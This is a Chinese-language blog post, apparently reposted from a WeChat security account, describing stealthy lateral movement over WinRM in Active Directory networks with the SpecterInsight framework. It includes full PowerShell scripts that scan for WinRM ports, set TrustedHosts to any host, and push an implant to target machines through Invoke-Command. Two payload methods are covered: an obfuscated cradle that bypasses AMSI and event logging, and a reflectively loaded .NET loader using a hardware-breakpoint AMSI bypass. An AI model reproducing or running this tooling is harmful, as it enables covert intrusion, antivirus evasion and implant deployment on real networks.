概述
在这篇文章中,我将介绍如何使用 WinRM 在 Active Directory 网络内横向移动并尝试融入噪音。
虽然 WinRM 确实允许你运行远程命令,但如果不将有效载荷(例如 Mimikatz)推送到目标,其访问内容可能会受到限制。这时,这项技术就派上用场了。
使用的工具:
-
PowerShell
-
.NET 模块
-
版本 4.4.0:GPO 模块和更多 SpecterScript
WinRM的背景
Windows 远程管理 (WinRM) 是 Microsoft 对 WS-Management 协议的实现,该协议为系统提供了一种基于 SOAP 消息传递的远程通信标准方式。它主要用于 Windows 系统上的远程命令执行、PowerShell 远程处理和管理任务。
实际上,WinRM 是一项在 Windows 系统上运行的服务,允许远程执行 PowerShell 脚本。管理员(或攻击者)可以使用适当的凭据连接到 HTTP 端口 5985 或 HTTPS 端口 5986,并运行任意 PowerShell 命令。一旦经过身份验证的用户连接并调用脚本,winrm.exe 进程就会创建一个名为“Windows 管理提供程序主机”或 wsmprovhost.exe 的子进程来处理脚本的执行。
通过 WinRM 运行命令时会发生什么
启动连接:
-
用户在本地系统上运行 Invoke-Command、Enter-PSSession 或运行 winrs.exe。
-
HTTP/S 请求发送到远程 WinRM 服务(托管 WinRM 的 svchost.exe)
远程系统响应:
-
svchost.exe(WinRM)接收请求
-
生成 wsmprovhost.exe 以在用户上下文中托管 PowerShell 会话
命令执行:
-
wsmprovhost.exe 执行命令或脚本
-
输出被序列化(使用 SOAP 和 WS-Management)并通过 HTTP/S 返回
会话终止:
-
会话关闭时,wsmprovhost.exe 退出
这是非常重要的背景信息。首先,它让我们知道,每次运行新的 WinRM 连接时,我们都会得到一个干净的子进程来运行;其次,我们知道需要保持该 WinRM 连接处于打开状态或阻止命令完成,这样我们通过该连接推送的植入程序就不会在 wsmprovhost.exe 退出时被关闭。
确定 WinRM 是否已启用
现在我们已经了解了 WinRM 的一些背景知识,那么我们如何知道这项技术是否可以在目标环境中使用呢?最重要的是检查 WinRM 是否在目标上运行。WinRM 几乎总是配置为监听端口 5985 或 5986,因此我们可以使用端口扫描本地网络 SpecterScript 检查远程系统上该端口是否打开。
将 SpecterScript 添加到命令生成器后,您将看到一个包含端口选择选项的 UI。WinRM 端口 5985 和 5986 不包含在默认端口列表中,因此需要将其添加到“端口”参数中。现在可以运行此命令,并将很快返回端口扫描结果。
命令完成后,您应该获得类似如下所示的输出:
IP Network 5985-- ------- ----192.168.1.103192.168.1.0/24 Open10.0.2.21310.0.2.0/24 Open
我们发现 5985 端口在多个系统上都处于开放状态。现在我们知道了可以访问哪些系统,接下来让我们深入研究一下各种攻击技术:
参数
对于此 SpecterScript,我们需要一组非常简单的参数来减轻操作员的工作量。操作员至少需要提供一个目标系统(主机名、完全限定域名或 IP 地址)。用户可以选择提供用户名和密码进行身份验证。此外,还有一些具有良好默认值的选项,即 Payload 参数,它允许操作员在两种不同的有效载荷技术之间进行选择,这些技术将在下文讨论。此外,如果操作员想要部署默认设置以外的其他内容,可以选择“构建”植入程序。
param( [Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")] [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")] [ValidateNotNullOrEmpty] [string]$Target, [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")] [ValidateNotNullOrEmpty] [string]$Username, [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")] [ValidateNotNullOrEmpty] [string]$Password, [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The type of payload to use.")] [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The type of payload to use.")] [ValidateSet('ps_cradle', 'cs_load_module')] [string]$Payload = 'cs_load_module', [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")] [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")] [ValidateNotNullOrEmpty()] [Build] [string]$Build)
上面的参数块将由 SpecterInsight UI 呈现为下面显示的简单 GUI:
技术
在 SpecterInsight 4.4.0 的最新版本中,我发布了两种将有效载荷推送到目标并通过 WinRM 执行的技术:
-
PowerShell 底座
-
.NET 模块加载器
让我们详细地看一下每一个。
PowerShell 支架
利用这种技术,我们可以简单地激活SpecterInsight有效载荷管道ps_cradle,以生成一个小型PowerShell脚本,该脚本可以安全地将Specter加载到内存中。它通过三个阶段实现:
-
第 0 阶段:Cradle。此阶段负责绕过 AMSI,然后下载并执行第 1 阶段的脚本。这是我们进行重头戏的部分。如果一切按计划进行,这将是远程 AV 扫描到的唯一脚本。因此,它经过了高度混淆。
-
第一阶段:加载器。此阶段负责绕过事件日志记录,然后下载并执行第二阶段的程序。出于性能考虑,此阶段的混淆程度最低,但这应该没问题,因为前一阶段已禁用 AMSI。
-
第二阶段:幽灵。这是幽灵植入物,现已安全加载到内存中。
这可能是最简单、最容易的横向移动方式,因为 WinRM 被设计用于远程执行 PowerShell 命令;然而,根据查看者的不同,混淆的有效载荷可能会有点响亮。
以下是该技术的 SpecterScript:
# Generate a new, obfuscated PowerShell cradle payload$contents = Get-Payload 'ps_cradle' -Build $Build -AsString;# Build a ScriptBlock to deploy to the target and execute$scriptBlock = [scriptblock]::Create($contents);$argumentList = @();# Execute command on remote system using WinRMtry {if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {# Converts the plaintext username and password into a PSCredential object $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword# Run the payload on the remote machine using username and password Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null; } else {# Run the payload on the remote machine using impersonation Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null; } $success = $true;} catch { $success = $false;throw;}
反射负载.NET模块
使用这种技术,我们将尝试将 .NET 加载器作为参数传递给将在远程计算机上运行的小型 PowerShell 脚本。将模块内容作为参数传递后,PowerShell 脚本只需调用 [System.Reflection.Assembly]::Load() 和 Assembly.EntryPoint.Invoke 即可。然后,该模块将下载并执行 Specter 植入程序。此方法也分为三个阶段:
-
第 0 阶段:底座。 此阶段负责将 .NET 加载器作为参数传递给底座,底座则负责隐藏在显眼位置并加载 .NET 加载器。它通过将两个加载器命令嵌入到良性 PowerShell 脚本中来实现隐藏。
-
第一阶段:.NET 加载器。此阶段负责绕过 AMSI,然后下载并执行第二阶段。由于底座无法绕过 AMSI,因此此模块将被已安装的杀毒软件扫描。为了降低检测难度,.NET 加载器源代码在编译前经过了高度混淆。
-
第二阶段:幽灵。这是幽灵植入物,现已安全加载到内存中。
这种技术的优点是,它可以产生更小的有效载荷,通过将其嵌入到良性脚本中,我们可以将其隐藏在显眼的地方。
这是针对此特定技术的 SpecterScript。
# Generate payload. In this case, we specify a $contents = Get-Payload 'cs_load_module' -Build $Build -Args @{ AmsiBypassTechnique = 'HardwareBreakpointAmsiScanBuffer';};$scriptBlock = {param( $Contents)[System.Reflection.Assembly]::Load($Contents).EntryPoint.Invoke($null, $null);};$argumentList = @(,$contents);# Execute command on remote system using WinRMtry {if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {# Converts the plaintext username and password into a PSCredential object $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword# Run the payload on the remote machine using username and password Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null; } else {# Run the payload on the remote machine using impersonation Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null; } $success = $true;} catch { $success = $false;throw;}
在当前系统上启用 WinRM
要利用 WinRM,您必须首先解决一些先决条件:
-
获取远程系统的凭证
-
配置本地主机以允许 WinRM
-
远程主机还必须配置为允许 WinRM。在这种情况下,我们假设它已经运行,否则此技术将无法实现。
在执行任何操作之前,您必须拥有远程系统的凭据。此实现方式可以使用模拟或显式凭据。使用模拟时,您需要拥有具有交互式访问权限的令牌,以避免双跳问题。如果没有,您可以选择提供用户名和密码。
接下来,您必须配置本地系统,以便能够通过 WinRM 连接到远程系统。这将通过执行以下命令在 SpecterScript 中自动完成。无需在本地主机上完全配置 WinRM。最低要求是 WinRM 服务正在运行,因此 SpecterInsight 只需确保这一点即可。话虽如此,当前用户需要拥有本地系统的管理员权限才能进行这些更改。
#Configure WinRM locally# Enable PowerShell remoting on the current machinetry { $service = Get-Service -Name WinRM;if ($service.Status -ne 'Running') { Start-Service -Name WinRM; }} catch { }# Allow client to connect to any hosttry { Set-Item -Path WSMan:localhostClientTrustedHosts -Value * -Force;} catch { }
执行该技术
一旦满足了这两个先决条件,我们就可以执行该技术了。在交互式会话中,我只需将“使用 WinRM 进行横向移动”SpecterScript 加载到命令生成器中,并配置参数块中定义的参数,即目标、用户名和密码参数。最终的命令如下所示:
接下来,我们运行命令,片刻之后我们就会得到回调。
完整的 SpecterScript
这是完整的 SpecterScript,其中所有组件都整齐地捆绑在一个简单的命令中:
param( [Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")] [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")] [ValidateNotNullOrEmpty] [string]$Target, [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")] [ValidateNotNullOrEmpty] [string]$Username, [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")] [ValidateNotNullOrEmpty] [string]$Password, [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The type of payload to use.")] [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The type of payload to use.")] [ValidateSet('ps_cradle', 'cs_load_module')] [string]$Payload = 'cs_load_module', [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")] [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")] [ValidateNotNullOrEmpty()] [Build] [string]$Build)#Configure WinRM locally# Enable PowerShell remoting on the target machinetry { Enable-PSRemoting -Force | Out-Null;} catch { }# Allow coient to connect to any hosttry { Set-Item -Path WSMan:localhostClientTrustedHosts -Value * -Force;} catch { }#Generate payload and convert to ScriptBlock for execution via WinRMif($Payload -eq 'ps_cradle') { $contents = Get-Payload 'ps_cradle' -Build $Build -AsString; $scriptBlock = [scriptblock]::Create($contents); $argumentList = @();} elseif($Payload -eq 'cs_load_module') {#Generate a stand-alone bypass $contents = Get-Payload 'cs_load_module' -Build $Build -Args @{ AmsiBypassTechnique = 'HardwareBreakpointAmsiScanBuffer'; }; $scriptBlock = {param( $Contents) [System.Reflection.Assembly]::Load($Contents).EntryPoint.Invoke($null, $null);}; $argumentList = @(,$contents);}#Execute command on remote system using WinRMtry {if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {#Run with explicit credentials $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword# Run the payload on the remote machine using username and password Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null; } else {#Run the payload on the remote machine using impersonation Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null; } $success = $true;} catch { $success = $false;throw;}#Output the result objectNew-Object psobject -Property @{ Lateral = New-Object psobject -Property @{ Method = "WinRM"; Build = $Build; Payload = $Payload; System = $Target; Username = $Username; Success = $success; };};
结论
如果您的环境中已配置 WinRM,那么 WinRM 是进行横向移动的绝佳方法,但如果 Payload 制作不当,其中运行的命令可能会被暴露。本文旨在强调如何利用 WinRM 并隐藏在网络中。
原文始发于微信公众号(Ots安全):利用 WinRM 进行隐秘横向移动的技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论